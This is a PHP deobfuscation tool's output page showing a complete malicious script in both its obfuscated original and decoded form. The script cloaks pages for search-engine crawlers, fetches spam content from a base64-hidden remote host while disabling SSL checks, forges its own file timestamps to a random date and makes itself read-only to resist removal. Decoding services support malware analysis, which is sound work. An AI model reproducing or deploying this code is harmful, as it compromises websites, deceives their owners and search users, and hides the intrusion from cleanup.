Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto COfV4; TWCf_: if (!($I5rrT === FALSE)) { goto YtNSO; } goto CgGeD; bNCl1: for..
Decoded Output download
<?php
goto COfV4; TWCf_: if (!($I5rrT === FALSE)) { goto YtNSO; } goto CgGeD; bNCl1: foreach ($hgVk6 as $fbaV7 => $yUKIM) { goto SSXGX; bP1U2: ULkz1: goto B6Xzv; X5o6w: WJPOO: goto bP1U2; iZ6OA: goto KyuDg; goto X5o6w; tMo4I: $OkDzv = $yUKIM; goto iZ6OA; SSXGX: if (!(strpos($K0Hqv, $fbaV7) !== false)) { goto WJPOO; } goto tMo4I; B6Xzv: } goto N9E7I; A5utM: $kFa6x = ["http" => ["header" => "User-Agent: {$OkDzv}
"]]; goto KFPuY; YOO69: echo str_replace("", "telegram:@aone8", $I5rrT); goto dgozT; HzxDG: curl_setopt($G3zCS, CURLOPT_USERAGENT, $OkDzv); goto OcYMa; E_GSd: $Dp5N_ = base64_decode("aHR0cHM6Ly92bjIubm93MzMuY29tLw=="); goto Km2Bv; N9E7I: KyuDg: goto A5utM; EQ12I: function aIwSf($e3nVK) { goto QJBVV; QJBVV: @chmod($e3nVK, 0644); goto hxfCM; hxfCM: $IzG0_ = strtotime("2000-01-01"); goto T6kRh; JhkuO: @touch($e3nVK, $liVgy, $liVgy); goto L3fyS; zIUiT: $liVgy = mt_rand($IzG0_, $mT1s6); goto JhkuO; T6kRh: $mT1s6 = strtotime("2024-12-31"); goto zIUiT; L3fyS: } goto XM8mY; SaoVU: curl_close($G3zCS); goto w11om; COfV4: set_time_limit(0); goto ORm_R; CgGeD: $G3zCS = curl_init(); goto KG02f; KG02f: curl_setopt($G3zCS, CURLOPT_URL, "{$Dp5N_}/index.php?host={$dq_Gn}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"]); goto hSKKU; w11om: YtNSO: goto YOO69; KFPuY: $au3bK = stream_context_create($kFa6x); goto VZlOO; Wm1On: $hgVk6 = ["Baiduspider" => "Mozilla/5.0 (compatible; Baiduspider/2.0)", "Googlebot" => "Mozilla/5.0 (compatible; Googlebot/2.1)", "360Spider" => "Mozilla/5.0 (compatible; 360Spider)", "Bingbot" => "Mozilla/5.0 (compatible; Bingbot/2.0)", "YisouSpider" => "Mozilla/5.0 (compatible; YisouSpider)", "Sogou web spider" => "Sogou web spider/4.0"]; goto KnjQb; ORm_R: header("Content-Type: text/html;charset=utf-8"); goto uxRYw; XM8mY: AIwsF($ptgIO); goto IXXlU; uIeGx: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYHOST, false); goto HzxDG; OcYMa: $I5rrT = curl_exec($G3zCS); goto SaoVU; KnjQb: $OkDzv = "Mozilla/5.0"; goto bNCl1; Km2Bv: $dq_Gn = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto f0BNA; uxRYw: date_default_timezone_set("PRC"); goto E_GSd; hSKKU: curl_setopt($G3zCS, CURLOPT_RETURNTRANSFER, 1); goto ZnhwT; VZlOO: $I5rrT = @file_get_contents("{$Dp5N_}/index.php?host={$dq_Gn}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"], false, $au3bK); goto TWCf_; f0BNA: $K0Hqv = $_SERVER["HTTP_USER_AGENT"]; goto Wm1On; dgozT: $ptgIO = basename($_SERVER["PHP_SELF"]); goto EQ12I; ZnhwT: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYPEER, false); goto uIeGx; IXXlU: @chmod($ptgIO, 0444);
?>
Did this file decode correctly?
Original Code
<?php
goto COfV4; TWCf_: if (!($I5rrT === FALSE)) { goto YtNSO; } goto CgGeD; bNCl1: foreach ($hgVk6 as $fbaV7 => $yUKIM) { goto SSXGX; bP1U2: ULkz1: goto B6Xzv; X5o6w: WJPOO: goto bP1U2; iZ6OA: goto KyuDg; goto X5o6w; tMo4I: $OkDzv = $yUKIM; goto iZ6OA; SSXGX: if (!(strpos($K0Hqv, $fbaV7) !== false)) { goto WJPOO; } goto tMo4I; B6Xzv: } goto N9E7I; A5utM: $kFa6x = ["\150\164\164\x70" => ["\x68\145\x61\x64\145\x72" => "\x55\x73\x65\162\55\x41\147\x65\x6e\x74\x3a\40{$OkDzv}\15\12"]]; goto KFPuY; YOO69: echo str_replace("\xe7\x83\237\351\233\xa8\xe9\xbb\221\xe5\270\xbd", "\x74\x65\x6c\x65\x67\x72\141\155\x3a\100\x61\157\x6e\145\70", $I5rrT); goto dgozT; HzxDG: curl_setopt($G3zCS, CURLOPT_USERAGENT, $OkDzv); goto OcYMa; E_GSd: $Dp5N_ = base64_decode("\141\x48\122\x30\x63\x48\x4d\66\x4c\x79\71\62\142\152\111\165\142\155\x39\63\x4d\x7a\115\165\131\62\x39\164\114\x77\75\x3d"); goto Km2Bv; N9E7I: KyuDg: goto A5utM; EQ12I: function aIwSf($e3nVK) { goto QJBVV; QJBVV: @chmod($e3nVK, 0644); goto hxfCM; hxfCM: $IzG0_ = strtotime("\x32\60\x30\60\x2d\x30\x31\55\x30\61"); goto T6kRh; JhkuO: @touch($e3nVK, $liVgy, $liVgy); goto L3fyS; zIUiT: $liVgy = mt_rand($IzG0_, $mT1s6); goto JhkuO; T6kRh: $mT1s6 = strtotime("\x32\x30\x32\64\x2d\x31\62\55\63\x31"); goto zIUiT; L3fyS: } goto XM8mY; SaoVU: curl_close($G3zCS); goto w11om; COfV4: set_time_limit(0); goto ORm_R; CgGeD: $G3zCS = curl_init(); goto KG02f; KG02f: curl_setopt($G3zCS, CURLOPT_URL, "{$Dp5N_}\57\x69\x6e\x64\145\x78\56\160\150\x70\x3f\x68\x6f\x73\164\75{$dq_Gn}\x26\165\162\x6c\x3d" . $_SERVER["\121\125\105\122\131\x5f\123\124\122\x49\116\107"] . "\x26\144\x6f\x6d\x61\x69\x6e\x3d" . $_SERVER["\123\105\x52\126\x45\122\x5f\116\101\x4d\105"]); goto hSKKU; w11om: YtNSO: goto YOO69; KFPuY: $au3bK = stream_context_create($kFa6x); goto VZlOO; Wm1On: $hgVk6 = ["\x42\141\x69\144\x75\x73\x70\x69\x64\x65\162" => "\x4d\157\172\151\154\x6c\x61\x2f\x35\56\x30\40\x28\143\x6f\155\x70\x61\x74\151\x62\154\x65\x3b\x20\102\141\x69\144\x75\x73\x70\x69\x64\145\162\x2f\62\56\60\x29", "\107\x6f\x6f\x67\154\x65\x62\x6f\164" => "\115\157\172\x69\154\x6c\141\57\65\56\60\40\x28\143\x6f\x6d\x70\x61\164\x69\142\x6c\x65\73\40\x47\x6f\157\147\154\145\x62\x6f\164\57\62\x2e\x31\x29", "\63\x36\60\x53\160\x69\x64\145\162" => "\x4d\157\x7a\x69\154\154\x61\57\65\56\x30\40\x28\x63\x6f\155\x70\x61\x74\x69\142\x6c\145\x3b\x20\x33\66\60\123\x70\x69\144\x65\162\51", "\x42\x69\x6e\147\x62\157\x74" => "\x4d\x6f\x7a\151\154\x6c\141\57\x35\x2e\60\x20\x28\x63\x6f\x6d\160\141\164\151\x62\x6c\x65\x3b\40\x42\151\x6e\147\x62\157\x74\x2f\x32\56\60\51", "\131\151\x73\157\165\123\x70\x69\x64\x65\x72" => "\x4d\x6f\172\x69\x6c\154\141\x2f\x35\x2e\60\x20\50\143\x6f\155\x70\141\164\x69\x62\154\x65\73\x20\131\151\163\x6f\x75\x53\160\x69\x64\x65\162\x29", "\123\x6f\x67\x6f\x75\x20\x77\145\x62\x20\163\x70\151\x64\x65\x72" => "\123\157\x67\x6f\165\x20\167\145\142\x20\x73\x70\151\x64\145\162\57\x34\x2e\x30"]; goto KnjQb; ORm_R: header("\103\157\x6e\164\x65\x6e\164\55\124\x79\160\x65\72\40\x74\145\x78\x74\x2f\150\164\x6d\154\x3b\x63\150\x61\162\x73\145\x74\x3d\x75\x74\x66\x2d\x38"); goto uxRYw; XM8mY: AIwsF($ptgIO); goto IXXlU; uIeGx: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYHOST, false); goto HzxDG; OcYMa: $I5rrT = curl_exec($G3zCS); goto SaoVU; KnjQb: $OkDzv = "\x4d\x6f\x7a\151\x6c\x6c\141\x2f\65\56\x30"; goto bNCl1; Km2Bv: $dq_Gn = "\x68\x74\x74\x70\x3a\x2f\x2f" . $_SERVER["\x48\124\x54\x50\x5f\x48\117\123\124"] . $_SERVER["\x50\110\x50\x5f\x53\x45\x4c\106"]; goto f0BNA; uxRYw: date_default_timezone_set("\120\x52\x43"); goto E_GSd; hSKKU: curl_setopt($G3zCS, CURLOPT_RETURNTRANSFER, 1); goto ZnhwT; VZlOO: $I5rrT = @file_get_contents("{$Dp5N_}\x2f\151\156\x64\145\x78\56\160\x68\x70\77\150\157\x73\x74\75{$dq_Gn}\46\165\162\x6c\75" . $_SERVER["\121\x55\105\122\x59\137\123\124\122\x49\116\107"] . "\x26\144\x6f\x6d\141\151\x6e\75" . $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"], false, $au3bK); goto TWCf_; f0BNA: $K0Hqv = $_SERVER["\110\124\124\x50\137\125\123\x45\x52\137\101\x47\105\116\x54"]; goto Wm1On; dgozT: $ptgIO = basename($_SERVER["\120\110\120\137\123\x45\x4c\106"]); goto EQ12I; ZnhwT: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYPEER, false); goto uIeGx; IXXlU: @chmod($ptgIO, 0444);
Function Calls
None |
Stats
MD5 | dd5f2590fe2d3380c96cb62598f7ad8a |
Eval Count | 0 |
Decode Time | 88 ms |